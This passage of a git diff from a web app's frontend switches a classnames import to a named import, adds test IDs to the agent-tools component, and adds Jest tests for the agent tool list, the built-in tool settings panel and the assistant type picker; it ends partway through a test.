 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 type Props = {
   className?: string
diff --git a/web/app/components/app/configuration/config/agent/agent-tools/index.spec.tsx b/web/app/components/app/configuration/config/agent/agent-tools/index.spec.tsx
new file mode 100644
index 0000000000..9899f15375
--- /dev/null
+++ b/web/app/components/app/configuration/config/agent/agent-tools/index.spec.tsx
@@ -0,0 +1,466 @@
+import type {
+  PropsWithChildren,
+} from 'react'
+import React, {
+  useEffect,
+  useMemo,
+  useState,
+} from 'react'
+import { act, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import AgentTools from './index'
+import ConfigContext from '@/context/debug-configuration'
+import type { AgentTool } from '@/types/app'
+import { CollectionType, type Tool, type ToolParameter } from '@/app/components/tools/types'
+import type { ToolWithProvider } from '@/app/components/workflow/types'
+import type { ToolDefaultValue } from '@/app/components/workflow/block-selector/types'
+import type { ModelConfig } from '@/models/debug'
+import { ModelModeType } from '@/types/app'
+import {
+  DEFAULT_AGENT_SETTING,
+  DEFAULT_CHAT_PROMPT_CONFIG,
+  DEFAULT_COMPLETION_PROMPT_CONFIG,
+} from '@/config'
+import copy from 'copy-to-clipboard'
+import type ToolPickerType from '@/app/components/workflow/block-selector/tool-picker'
+import type SettingBuiltInToolType from './setting-built-in-tool'
+
+const formattingDispatcherMock = jest.fn()
+jest.mock('@/app/components/app/configuration/debug/hooks', () => ({
+  useFormattingChangedDispatcher: () => formattingDispatcherMock,
+}))
+
+let pluginInstallHandler: ((names: string[]) => void) | null = null
+const subscribeMock = jest.fn((event: string, handler: any) => {
+  if (event === 'plugin:install:success')
+    pluginInstallHandler = handler
+})
+jest.mock('@/context/mitt-context', () => ({
+  useMittContextSelector: (selector: any) => selector({
+    useSubscribe: subscribeMock,
+  }),
+}))
+
+let builtInTools: ToolWithProvider[] = []
+let customTools: ToolWithProvider[] = []
+let workflowTools: ToolWithProvider[] = []
+let mcpTools: ToolWithProvider[] = []
+jest.mock('@/service/use-tools', () => ({
+  useAllBuiltInTools: () => ({ data: builtInTools }),
+  useAllCustomTools: () => ({ data: customTools }),
+  useAllWorkflowTools: () => ({ data: workflowTools }),
+  useAllMCPTools: () => ({ data: mcpTools }),
+}))
+
+type ToolPickerProps = React.ComponentProps<typeof ToolPickerType>
+let singleToolSelection: ToolDefaultValue | null = null
+let multipleToolSelection: ToolDefaultValue[] = []
+const ToolPickerMock = (props: ToolPickerProps) => (
+  <div data-testid="tool-picker">
+    <div>{props.trigger}</div>
+    <button
+      type="button"
+      onClick={() => singleToolSelection && props.onSelect(singleToolSelection)}
+    >
+      pick-single
+    </button>
+    <button
+      type="button"
+      onClick={() => props.onSelectMultiple(multipleToolSelection)}
+    >
+      pick-multiple
+    </button>
+  </div>
+)
+jest.mock('@/app/components/workflow/block-selector/tool-picker', () => ({
+  __esModule: true,
+  default: (props: ToolPickerProps) => <ToolPickerMock {...props} />,
+}))
+
+type SettingBuiltInToolProps = React.ComponentProps<typeof SettingBuiltInToolType>
+let latestSettingPanelProps: SettingBuiltInToolProps | null = null
+let settingPanelSavePayload: Record<string, any> = {}
+let settingPanelCredentialId = 'credential-from-panel'
+const SettingBuiltInToolMock = (props: SettingBuiltInToolProps) => {
+  latestSettingPanelProps = props
+  return (
+    <div data-testid="setting-built-in-tool">
+      <span>{props.toolName}</span>
+      <button type="button" onClick={() => props.onSave?.(settingPanelSavePayload)}>save-from-panel</button>
+      <button type="button" onClick={() => props.onAuthorizationItemClick?.(settingPanelCredentialId)}>auth-from-panel</button>
+      <button type="button" onClick={props.onHide}>close-panel</button>
+    </div>
+  )
+}
+jest.mock('./setting-built-in-tool', () => ({
+  __esModule: true,
+  default: (props: SettingBuiltInToolProps) => <SettingBuiltInToolMock {...props} />,
+}))
+
+jest.mock('copy-to-clipboard')
+
+const copyMock = copy as jest.Mock
+
+const createToolParameter = (overrides?: Partial<ToolParameter>): ToolParameter => ({
+  name: 'api_key',
+  label: {
+    en_US: 'API Key',
+    zh_Hans: 'API Key',
+  },
+  human_description: {
+    en_US: 'desc',
+    zh_Hans: 'desc',
+  },
+  type: 'string',
+  form: 'config',
+  llm_description: '',
+  required: true,
+  multiple: false,
+  default: 'default',
+  ...overrides,
+})
+
+const createToolDefinition = (overrides?: Partial<Tool>): Tool => ({
+  name: 'search',
+  author: 'tester',
+  label: {
+    en_US: 'Search',
+    zh_Hans: 'Search',
+  },
+  description: {
+    en_US: 'desc',
+    zh_Hans: 'desc',
+  },
+  parameters: [createToolParameter()],
+  labels: [],
+  output_schema: {},
+  ...overrides,
+})
+
+const createCollection = (overrides?: Partial<ToolWithProvider>): ToolWithProvider => ({
+  id: overrides?.id || 'provider-1',
+  name: overrides?.name || 'vendor/provider-1',
+  author: 'tester',
+  description: {
+    en_US: 'desc',
+    zh_Hans: 'desc',
+  },
+  icon: 'https://example.com/icon.png',
+  label: {
+    en_US: 'Provider Label',
+    zh_Hans: 'Provider Label',
+  },
+  type: overrides?.type || CollectionType.builtIn,
+  team_credentials: {},
+  is_team_authorization: true,
+  allow_delete: true,
+  labels: [],
+  tools: overrides?.tools || [createToolDefinition()],
+  meta: {
+    version: '1.0.0',
+  },
+  ...overrides,
+})
+
+const createAgentTool = (overrides?: Partial<AgentTool>): AgentTool => ({
+  provider_id: overrides?.provider_id || 'provider-1',
+  provider_type: overrides?.provider_type || CollectionType.builtIn,
+  provider_name: overrides?.provider_name || 'vendor/provider-1',
+  tool_name: overrides?.tool_name || 'search',
+  tool_label: overrides?.tool_label || 'Search Tool',
+  tool_parameters: overrides?.tool_parameters || { api_key: 'key' },
+  enabled: overrides?.enabled ?? true,
+  ...overrides,
+})
+
+const createModelConfig = (tools: AgentTool[]): ModelConfig => ({
+  provider: 'OPENAI',
+  model_id: 'gpt-3.5-turbo',
+  mode: ModelModeType.chat,
+  configs: {
+    prompt_template: '',
+    prompt_variables: [],
+  },
+  chat_prompt_config: DEFAULT_CHAT_PROMPT_CONFIG,
+  completion_prompt_config: DEFAULT_COMPLETION_PROMPT_CONFIG,
+  opening_statement: '',
+  more_like_this: null,
+  suggested_questions: [],
+  suggested_questions_after_answer: null,
+  speech_to_text: null,
+  text_to_speech: null,
+  file_upload: null,
+  retriever_resource: null,
+  sensitive_word_avoidance: null,
+  annotation_reply: null,
+  external_data_tools: [],
+  system_parameters: {
+    audio_file_size_limit: 0,
+    file_size_limit: 0,
+    image_file_size_limit: 0,
+    video_file_size_limit: 0,
+    workflow_file_upload_limit: 0,
+  },
+  dataSets: [],
+  agentConfig: {
+    ...DEFAULT_AGENT_SETTING,
+    tools,
+  },
+})
+
+const renderAgentTools = (initialTools?: AgentTool[]) => {
+  const tools = initialTools ?? [createAgentTool()]
+  const modelConfigRef = { current: createModelConfig(tools) }
+  const Wrapper = ({ children }: PropsWithChildren) => {
+    const [modelConfig, setModelConfig] = useState<ModelConfig>(modelConfigRef.current)
+    useEffect(() => {
+      modelConfigRef.current = modelConfig
+    }, [modelConfig])
+    const value = useMemo(() => ({
+      modelConfig,
+      setModelConfig,
+    }), [modelConfig])
+    return (
+      <ConfigContext.Provider value={value as any}>
+        {children}
+      </ConfigContext.Provider>
+    )
+  }
+  const renderResult = render(
+    <Wrapper>
+      <AgentTools />
+    </Wrapper>,
+  )
+  return {
+    ...renderResult,
+    getModelConfig: () => modelConfigRef.current,
+  }
+}
+
+const hoverInfoIcon = async (rowIndex = 0) => {
+  const rows = document.querySelectorAll('.group')
+  const infoTrigger = rows.item(rowIndex)?.querySelector('[data-testid="tool-info-tooltip"]')
+  if (!infoTrigger)
+    throw new Error('Info trigger not found')
+  await userEvent.hover(infoTrigger as HTMLElement)
+}
+
+describe('AgentTools', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    builtInTools = [
+      createCollection(),
+      createCollection({
+        id: 'provider-2',
+        name: 'vendor/provider-2',
+        tools: [createToolDefinition({
+          name: 'translate',
+          label: {
+            en_US: 'Translate',
+            zh_Hans: 'Translate',
+          },
+        })],
+      }),
+      createCollection({
+        id: 'provider-3',
+        name: 'vendor/provider-3',
+        tools: [createToolDefinition({
+          name: 'summarize',
+          label: {
+            en_US: 'Summary',
+            zh_Hans: 'Summary',
+          },
+        })],
+      }),
+    ]
+    customTools = []
+    workflowTools = []
+    mcpTools = []
+    singleToolSelection = {
+      provider_id: 'provider-3',
+      provider_type: CollectionType.builtIn,
+      provider_name: 'vendor/provider-3',
+      tool_name: 'summarize',
+      tool_label: 'Summary Tool',
+      tool_description: 'desc',
+      title: 'Summary Tool',
+      is_team_authorization: true,
+      params: { api_key: 'picker-value' },
+      paramSchemas: [],
+      output_schema: {},
+    }
+    multipleToolSelection = [
+      {
+        provider_id: 'provider-2',
+        provider_type: CollectionType.builtIn,
+        provider_name: 'vendor/provider-2',
+        tool_name: 'translate',
+        tool_label: 'Translate Tool',
+        tool_description: 'desc',
+        title: 'Translate Tool',
+        is_team_authorization: true,
+        params: { api_key: 'multi-a' },
+        paramSchemas: [],
+        output_schema: {},
+      },
+      {
+        provider_id: 'provider-3',
+        provider_type: CollectionType.builtIn,
+        provider_name: 'vendor/provider-3',
+        tool_name: 'summarize',
+        tool_label: 'Summary Tool',
+        tool_description: 'desc',
+        title: 'Summary Tool',
+        is_team_authorization: true,
+        params: { api_key: 'multi-b' },
+        paramSchemas: [],
+        output_schema: {},
+      },
+    ]
+    latestSettingPanelProps = null
+    settingPanelSavePayload = {}
+    settingPanelCredentialId = 'credential-from-panel'
+    pluginInstallHandler = null
+  })
+
+  test('should show enabled count and provider information', () => {
+    renderAgentTools([
+      createAgentTool(),
+      createAgentTool({
+        provider_id: 'provider-2',
+        provider_name: 'vendor/provider-2',
+        tool_name: 'translate',
+        tool_label: 'Translate Tool',
+        enabled: false,
+      }),
+    ])
+
+    const enabledText = screen.getByText(content => content.includes('appDebug.agent.tools.enabled'))
+    expect(enabledText).toHaveTextContent('1/2')
+    expect(screen.getByText('provider-1')).toBeInTheDocument()
+    expect(screen.getByText('Translate Tool')).toBeInTheDocument()
+  })
+
+  test('should copy tool name from tooltip action', async () => {
+    renderAgentTools()
+
+    await hoverInfoIcon()
+    const copyButton = await screen.findByText('tools.copyToolName')
+    await userEvent.click(copyButton)
+    expect(copyMock).toHaveBeenCalledWith('search')
+  })
+
+  test('should toggle tool enabled state via switch', async () => {
+    const { getModelConfig } = renderAgentTools()
+
+    const switchButton = screen.getByRole('switch')
+    await userEvent.click(switchButton)
+
+    await waitFor(() => {
+      const tools = getModelConfig().agentConfig.tools as Array<{ tool_name?: string; enabled?: boolean }>
+      const toggledTool = tools.find(tool => tool.tool_name === 'search')
+      expect(toggledTool?.enabled).toBe(false)
+    })
+    expect(formattingDispatcherMock).toHaveBeenCalled()
+  })
+
+  test('should remove tool when delete action is clicked', async () => {
+    const { getModelConfig } = renderAgentTools()
+    const deleteButton = screen.getByTestId('delete-removed-tool')
+    if (!deleteButton)
+      throw new Error('Delete button not found')
+    await userEvent.click(deleteButton)
+    await waitFor(() => {
+      expect(getModelConfig().agentConfig.tools).toHaveLength(0)
+    })
+    expect(formattingDispatcherMock).toHaveBeenCalled()
+  })
+
+  test('should add a tool when ToolPicker selects one', async () => {
+    const { getModelConfig } = renderAgentTools([])
+    const addSingleButton = screen.getByRole('button', { name: 'pick-single' })
+    await userEvent.click(addSingleButton)
+
+    await waitFor(() => {
+      expect(screen.getByText('Summary Tool')).toBeInTheDocument()
+    })
+    expect(getModelConfig().agentConfig.tools).toHaveLength(1)
+  })
+
+  test('should append multiple selected tools at once', async () => {
+    const { getModelConfig } = renderAgentTools([])
+    await userEvent.click(screen.getByRole('button', { name: 'pick-multiple' }))
+
+    await waitFor(() => {
+      expect(screen.getByText('Translate Tool')).toBeInTheDocument()
+      expect(screen.getAllByText('Summary Tool')).toHaveLength(1)
+    })
+    expect(getModelConfig().agentConfig.tools).toHaveLength(2)
+  })
+
+  test('should open settings panel for not authorized tool', async () => {
+    renderAgentTools([
+      createAgentTool({
+        notAuthor: true,
+      }),
+    ])
+
+    const notAuthorizedButton = screen.getByRole('button', { name: /tools.notAuthorized/ })
+    await userEvent.click(notAuthorizedButton)
+    expect(screen.getByTestId('setting-built-in-tool')).toBeInTheDocument()
+    expect(latestSettingPanelProps?.toolName).toBe('search')
+  })
+
+  test('should persist tool parameters when SettingBuiltInTool saves values', async () => {
+    const { getModelConfig } = renderAgentTools([
+      createAgentTool({
+        notAuthor: true,
+      }),
+    ])
+    await userEvent.click(screen.getByRole('button', { name: /tools.notAuthorized/ }))
+    settingPanelSavePayload = { api_key: 'updated' }
+    await userEvent.click(screen.getByRole('button', { name: 'save-from-panel' }))
+
+    await waitFor(() => {
+      expect((getModelConfig().agentConfig.tools[0] as { tool_parameters: Record<string, any> }).tool_parameters).toEqual({ api_key: 'updated' })
+    })
+  })
+
+  test('should update credential id when authorization selection changes', async () => {
+    const { getModelConfig } = renderAgentTools([
+      createAgentTool({
+        notAuthor: true,
+      }),
+    ])
+    await userEvent.click(screen.getByRole('button', { name: /tools.notAuthorized/ }))
+    settingPanelCredentialId = 'credential-123'
+    await userEvent.click(screen.getByRole('button', { name: 'auth-from-panel' }))
+
+    await waitFor(() => {
+      expect((getModelConfig().agentConfig.tools[0] as { credential_id: string }).credential_id).toBe('credential-123')
+    })
+    expect(formattingDispatcherMock).toHaveBeenCalled()
+  })
+
+  test('should reinstate deleted tools after plugin install success event', async () => {
+    const { getModelConfig } = renderAgentTools([
+      createAgentTool({
+        provider_id: 'provider-1',
+        provider_name: 'vendor/provider-1',
+        tool_name: 'search',
+        tool_label: 'Search Tool',
+        isDeleted: true,
+      }),
+    ])
+    if (!pluginInstallHandler)
+      throw new Error('Plugin handler not registered')
+
+    await act(async () => {
+      pluginInstallHandler?.(['provider-1'])
+    })
+
+    await waitFor(() => {
+      expect((getModelConfig().agentConfig.tools[0] as { isDeleted: boolean }).isDeleted).toBe(false)
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/config/agent/agent-tools/index.tsx b/web/app/components/app/configuration/config/agent/agent-tools/index.tsx
index 5716bfd92d..8dfa2f194b 100644
--- a/web/app/components/app/configuration/config/agent/agent-tools/index.tsx
+++ b/web/app/components/app/configuration/config/agent/agent-tools/index.tsx
@@ -25,7 +25,7 @@ import { MAX_TOOLS_NUM } from '@/config'
 import { AlertTriangle } from '@/app/components/base/icons/src/vender/solid/alertsAndFeedback'
 import Tooltip from '@/app/components/base/tooltip'
 import { DefaultToolIcon } from '@/app/components/base/icons/src/public/other'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ToolPicker from '@/app/components/workflow/block-selector/tool-picker'
 import type { ToolDefaultValue, ToolValue } from '@/app/components/workflow/block-selector/types'
 import { canFindTool } from '@/utils'
@@ -217,7 +217,7 @@ const AgentTools: FC = () => {
                       }
                     >
                       <div className='h-4 w-4'>
-                        <div className='ml-0.5 hidden group-hover:inline-block'>
+                        <div className='ml-0.5 hidden group-hover:inline-block' data-testid='tool-info-tooltip'>
                           <RiInformation2Line className='h-4 w-4 text-text-tertiary' />
                         </div>
                       </div>
@@ -277,6 +277,7 @@ const AgentTools: FC = () => {
                       }}
                       onMouseOver={() => setIsDeleting(index)}
                       onMouseLeave={() => setIsDeleting(-1)}
+                      data-testid='delete-removed-tool'
                     >
                       <RiDeleteBinLine className='h-4 w-4' />
                     </div>
diff --git a/web/app/components/app/configuration/config/agent/agent-tools/setting-built-in-tool.spec.tsx b/web/app/components/app/configuration/config/agent/agent-tools/setting-built-in-tool.spec.tsx
new file mode 100644
index 0000000000..8cd95472dc
--- /dev/null
+++ b/web/app/components/app/configuration/config/agent/agent-tools/setting-built-in-tool.spec.tsx
@@ -0,0 +1,248 @@
+import React from 'react'
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import SettingBuiltInTool from './setting-built-in-tool'
+import I18n from '@/context/i18n'
+import { CollectionType, type Tool, type ToolParameter } from '@/app/components/tools/types'
+
+const fetchModelToolList = jest.fn()
+const fetchBuiltInToolList = jest.fn()
+const fetchCustomToolList = jest.fn()
+const fetchWorkflowToolList = jest.fn()
+jest.mock('@/service/tools', () => ({
+  fetchModelToolList: (collectionName: string) => fetchModelToolList(collectionName),
+  fetchBuiltInToolList: (collectionName: string) => fetchBuiltInToolList(collectionName),
+  fetchCustomToolList: (collectionName: string) => fetchCustomToolList(collectionName),
+  fetchWorkflowToolList: (appId: string) => fetchWorkflowToolList(appId),
+}))
+
+type MockFormProps = {
+  value: Record<string, any>
+  onChange: (val: Record<string, any>) => void
+}
+let nextFormValue: Record<string, any> = {}
+const FormMock = ({ value, onChange }: MockFormProps) => {
+  return (
+    <div data-testid="mock-form">
+      <div data-testid="form-value">{JSON.stringify(value)}</div>
+      <button
+        type="button"
+        onClick={() => onChange({ ...value, ...nextFormValue })}
+      >
+        update-form
+      </button>
+    </div>
+  )
+}
+jest.mock('@/app/components/header/account-setting/model-provider-page/model-modal/Form', () => ({
+  __esModule: true,
+  default: (props: MockFormProps) => <FormMock {...props} />,
+}))
+
+let pluginAuthClickValue = 'credential-from-plugin'
+jest.mock('@/app/components/plugins/plugin-auth', () => ({
+  AuthCategory: { tool: 'tool' },
+  PluginAuthInAgent: (props: { onAuthorizationItemClick?: (id: string) => void }) => (
+    <div data-testid="plugin-auth">
+      <button type="button" onClick={() => props.onAuthorizationItemClick?.(pluginAuthClickValue)}>
+        choose-plugin-credential
+      </button>
+    </div>
+  ),
+}))
+
+jest.mock('@/app/components/plugins/readme-panel/entrance', () => ({
+  ReadmeEntrance: ({ className }: { className?: string }) => <div className={className}>readme</div>,
+}))
+
+const createParameter = (overrides?: Partial<ToolParameter>): ToolParameter => ({
+  name: 'settingParam',
+  label: {
+    en_US: 'Setting Param',
+    zh_Hans: 'Setting Param',
+  },
+  human_description: {
+    en_US: 'desc',
+    zh_Hans: 'desc',
+  },
+  type: 'string',
+  form: 'config',
+  llm_description: '',
+  required: true,
+  multiple: false,
+  default: '',
+  ...overrides,
+})
+
+const createTool = (overrides?: Partial<Tool>): Tool => ({
+  name: 'search',
+  author: 'tester',
+  label: {
+    en_US: 'Search Tool',
+    zh_Hans: 'Search Tool',
+  },
+  description: {
+    en_US: 'tool description',
+    zh_Hans: 'tool description',
+  },
+  parameters: [
+    createParameter({
+      name: 'infoParam',
+      label: {
+        en_US: 'Info Param',
+        zh_Hans: 'Info Param',
+      },
+      form: 'llm',
+      required: false,
+    }),
+    createParameter(),
+  ],
+  labels: [],
+  output_schema: {},
+  ...overrides,
+})
+
+const baseCollection = {
+  id: 'provider-1',
+  name: 'vendor/provider-1',
+  author: 'tester',
+  description: {
+    en_US: 'desc',
+    zh_Hans: 'desc',
+  },
+  icon: 'https://example.com/icon.png',
+  label: {
+    en_US: 'Provider Label',
+    zh_Hans: 'Provider Label',
+  },
+  type: CollectionType.builtIn,
+  team_credentials: {},
+  is_team_authorization: true,
+  allow_delete: true,
+  labels: [],
+  tools: [createTool()],
+}
+
+const renderComponent = (props?: Partial<React.ComponentProps<typeof SettingBuiltInTool>>) => {
+  const onHide = jest.fn()
+  const onSave = jest.fn()
+  const onAuthorizationItemClick = jest.fn()
+  const utils = render(
+    <I18n.Provider value={{ locale: 'en-US', i18n: {}, setLocaleOnClient: jest.fn() as any }}>
+      <SettingBuiltInTool
+        collection={baseCollection as any}
+        toolName="search"
+        isModel
+        setting={{ settingParam: 'value' }}
+        onHide={onHide}
+        onSave={onSave}
+        onAuthorizationItemClick={onAuthorizationItemClick}
+        {...props}
+      />
+    </I18n.Provider>,
+  )
+  return {
+    ...utils,
+    onHide,
+    onSave,
+    onAuthorizationItemClick,
+  }
+}
+
+describe('SettingBuiltInTool', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    nextFormValue = {}
+    pluginAuthClickValue = 'credential-from-plugin'
+  })
+
+  test('should fetch tool list when collection has no tools', async () => {
+    fetchModelToolList.mockResolvedValueOnce([createTool()])
+    renderComponent({
+      collection: {
+        ...baseCollection,
+        tools: [],
+      },
+    })
+
+    await waitFor(() => {
+      expect(fetchModelToolList).toHaveBeenCalledTimes(1)
+      expect(fetchModelToolList).toHaveBeenCalledWith('vendor/provider-1')
+    })
+    expect(await screen.findByText('Search Tool')).toBeInTheDocument()
+  })
+
+  test('should switch between info and setting tabs', async () => {
+    renderComponent()
+    await waitFor(() => {
+      expect(screen.getByTestId('mock-form')).toBeInTheDocument()
+    })
+
+    await userEvent.click(screen.getByText('tools.setBuiltInTools.parameters'))
+    expect(screen.getByText('Info Param')).toBeInTheDocument()
+    await userEvent.click(screen.getByText('tools.setBuiltInTools.setting'))
+    expect(screen.getByTestId('mock-form')).toBeInTheDocument()
+  })
+
+  test('should call onSave with updated values when save button clicked', async () => {
+    const { onSave } = renderComponent()
+    await waitFor(() => expect(screen.getByTestId('mock-form')).toBeInTheDocument())
+    nextFormValue = { settingParam: 'updated' }
+    await userEvent.click(screen.getByRole('button', { name: 'update-form' }))
+    await userEvent.click(screen.getByRole('button', { name: 'common.operation.save' }))
+    expect(onSave).toHaveBeenCalledWith(expect.objectContaining({ settingParam: 'updated' }))
+  })
+
+  test('should keep save disabled until required field provided', async () => {
+    renderComponent({
+      setting: {},
+    })
+    await waitFor(() => expect(screen.getByTestId('mock-form')).toBeInTheDocument())
+    const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+    expect(saveButton).toBeDisabled()
+    nextFormValue = { settingParam: 'filled' }
+    await userEvent.click(screen.getByRole('button', { name: 'update-form' }))
+    expect(saveButton).not.toBeDisabled()
+  })
+
+  test('should call onHide when cancel button is pressed', async () => {
+    const { onHide } = renderComponent()
+    await waitFor(() => expect(screen.getByTestId('mock-form')).toBeInTheDocument())
+    await userEvent.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+    expect(onHide).toHaveBeenCalled()
+  })
+
+  test('should trigger authorization callback from plugin auth section', async () => {
+    const { onAuthorizationItemClick } = renderComponent()
+    await userEvent.click(screen.getByRole('button', { name: 'choose-plugin-credential' }))
+    expect(onAuthorizationItemClick).toHaveBeenCalledWith('credential-from-plugin')
+  })
+
+  test('should call onHide when back button is clicked', async () => {
+    const { onHide } = renderComponent({
+      showBackButton: true,
+    })
+    await userEvent.click(screen.getByText('plugin.detailPanel.operation.back'))
+    expect(onHide).toHaveBeenCalled()
+  })
+
+  test('should load workflow tools when workflow collection is provided', async () => {
+    fetchWorkflowToolList.mockResolvedValueOnce([createTool({
+      name: 'workflow-tool',
+    })])
+    renderComponent({
+      collection: {
+        ...baseCollection,
+        type: CollectionType.workflow,
+        tools: [],
+        id: 'workflow-1',
+      } as any,
+      isBuiltIn: false,
+      isModel: false,
+    })
+
+    await waitFor(() => {
+      expect(fetchWorkflowToolList).toHaveBeenCalledWith('workflow-1')
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/config/agent/agent-tools/setting-built-in-tool.tsx b/web/app/components/app/configuration/config/agent/agent-tools/setting-built-in-tool.tsx
index c5947495db..0627666b4c 100644
--- a/web/app/components/app/configuration/config/agent/agent-tools/setting-built-in-tool.tsx
+++ b/web/app/components/app/configuration/config/agent/agent-tools/setting-built-in-tool.tsx
@@ -22,7 +22,7 @@ import { CollectionType } from '@/app/components/tools/types'
 import { fetchBuiltInToolList, fetchCustomToolList, fetchModelToolList, fetchWorkflowToolList } from '@/service/tools'
 import I18n from '@/context/i18n'
 import { getLanguage } from '@/i18n-config/language'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { ToolWithProvider } from '@/app/components/workflow/types'
 import {
   AuthCategory,
diff --git a/web/app/components/app/configuration/config/agent/prompt-editor.tsx b/web/app/components/app/configuration/config/agent/prompt-editor.tsx
index 71a9304d0c..78d7eef029 100644
--- a/web/app/components/app/configuration/config/agent/prompt-editor.tsx
+++ b/web/app/components/app/configuration/config/agent/prompt-editor.tsx
@@ -4,7 +4,7 @@ import React from 'react'
 import copy from 'copy-to-clipboard'
 import { useContext } from 'use-context-selector'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   Copy,
   CopyCheck,
diff --git a/web/app/components/app/configuration/config/assistant-type-picker/index.spec.tsx b/web/app/components/app/configuration/config/assistant-type-picker/index.spec.tsx
new file mode 100644
index 0000000000..cda24ea045
--- /dev/null
+++ b/web/app/components/app/configuration/config/assistant-type-picker/index.spec.tsx
@@ -0,0 +1,862 @@
+import React from 'react'
+import { act, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import AssistantTypePicker from './index'
+import type { AgentConfig } from '@/models/debug'
+import { AgentStrategy } from '@/types/app'
+
+// Test utilities
+const defaultAgentConfig: AgentConfig = {
+  enabled: true,
+  max_iteration: 3,
+  strategy: AgentStrategy.functionCall,
+  tools: [],
+}
+
+const defaultProps = {
+  value: 'chat',
+  disabled: false,
+  onChange: jest.fn(),
+  isFunctionCall: true,
+  isChatModel: true,
+  agentConfig: defaultAgentConfig,
+  onAgentSettingChange: jest.fn(),
+}
+
+const renderComponent = (props: Partial<React.ComponentProps<typeof AssistantTypePicker>> = {}) => {
+  const mergedProps = { ...defaultProps, ...props }
+  return render(<AssistantTypePicker {...mergedProps} />)
+}
+
+// Helper to get option element by description (which is unique per option)
+const getOptionByDescription = (descriptionRegex: RegExp) => {
+  const description = screen.getByText(descriptionRegex)
+  return description.parentElement as HTMLElement
+}
+
+describe('AssistantTypePicker', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText(/chatAssistant.name/i)).toBeInTheDocument()
+    })
+
+    it('should render chat assistant by default when value is "chat"', () => {
+      // Arrange & Act
+      renderComponent({ value: 'chat' })
+
+      // Assert
+      expect(screen.getByText(/chatAssistant.name/i)).toBeInTheDocument()
+    })
+
+    it('should render agent assistant when value is "agent"', () => {
+      // Arrange & Act
+      renderComponent({ value: 'agent' })
+
+      // Assert
+      expect(screen.getByText(/agentAssistant.name/i)).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should use provided value prop', () => {
+      // Arrange & Act
+      renderComponent({ value: 'agent' })
+
+      // Assert
+      expect(screen.getByText(/agentAssistant.name/i)).toBeInTheDocument()
+    })
+
+    it('should handle agentConfig prop', () => {
+      // Arrange
+      const customAgentConfig: AgentConfig = {
+        enabled: true,
+        max_iteration: 10,
+        strategy: AgentStrategy.react,
+        tools: [],
+      }
+
+      // Act
+      expect(() => {
+        renderComponent({ agentConfig: customAgentConfig })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByText(/chatAssistant.name/i)).toBeInTheDocument()
+    })
+
+    it('should handle undefined agentConfig prop', () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ agentConfig: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByText(/chatAssistant.name/i)).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should open dropdown when clicking trigger', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Assert - Both options should be visible
+      await waitFor(() => {
+        const chatOptions = screen.getAllByText(/chatAssistant.name/i)
+        const agentOptions = screen.getAllByText(/agentAssistant.name/i)
+        expect(chatOptions.length).toBeGreaterThan(1)
+        expect(agentOptions.length).toBeGreaterThan(0)
+      })
+    })
+
+    it('should call onChange when selecting chat assistant', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onChange = jest.fn()
+      renderComponent({ value: 'agent', onChange })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      // Wait for dropdown to open and find chat option
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+      })
+
+      // Find and click the chat option by its unique description
+      const chatOption = getOptionByDescription(/chatAssistant.description/i)
+      await user.click(chatOption)
+
+      // Assert
+      expect(onChange).toHaveBeenCalledWith('chat')
+    })
+
+    it('should call onChange when selecting agent assistant', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onChange = jest.fn()
+      renderComponent({ value: 'chat', onChange })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/chatAssistant.name/i)
+      await user.click(trigger)
+
+      // Wait for dropdown to open and click agent option
+      await waitFor(() => {
+        expect(screen.getByText(/agentAssistant.description/i)).toBeInTheDocument()
+      })
+
+      const agentOption = getOptionByDescription(/agentAssistant.description/i)
+      await user.click(agentOption)
+
+      // Assert
+      expect(onChange).toHaveBeenCalledWith('agent')
+    })
+
+    it('should close dropdown when selecting chat assistant', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'agent' })
+
+      // Act - Open dropdown
+      const trigger = screen.getByText(/agentAssistant.name/i)
+      await user.click(trigger)
+
+      // Wait for dropdown and select chat
+      await waitFor(() => {
+        expect(screen.getByText(/chatAssistant.description/i)).toBeInTheDocument()
+      })
+
+      const chatOption = getOptionByDescription(/chatAssistant.description/i)
+      await user.click(chatOption)
+
+      // Assert - Dropdown should close (descriptions should not be visible)
+      await waitFor(() => {
+        expect(screen.queryByText(/chatAssistant.description/i)).not.toBeInTheDocument()
+      })
+    })
+
+    it('should not close dropdown when selecting agent assistant', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ value: 'chat' })
+
+      // Act - Open dropdown
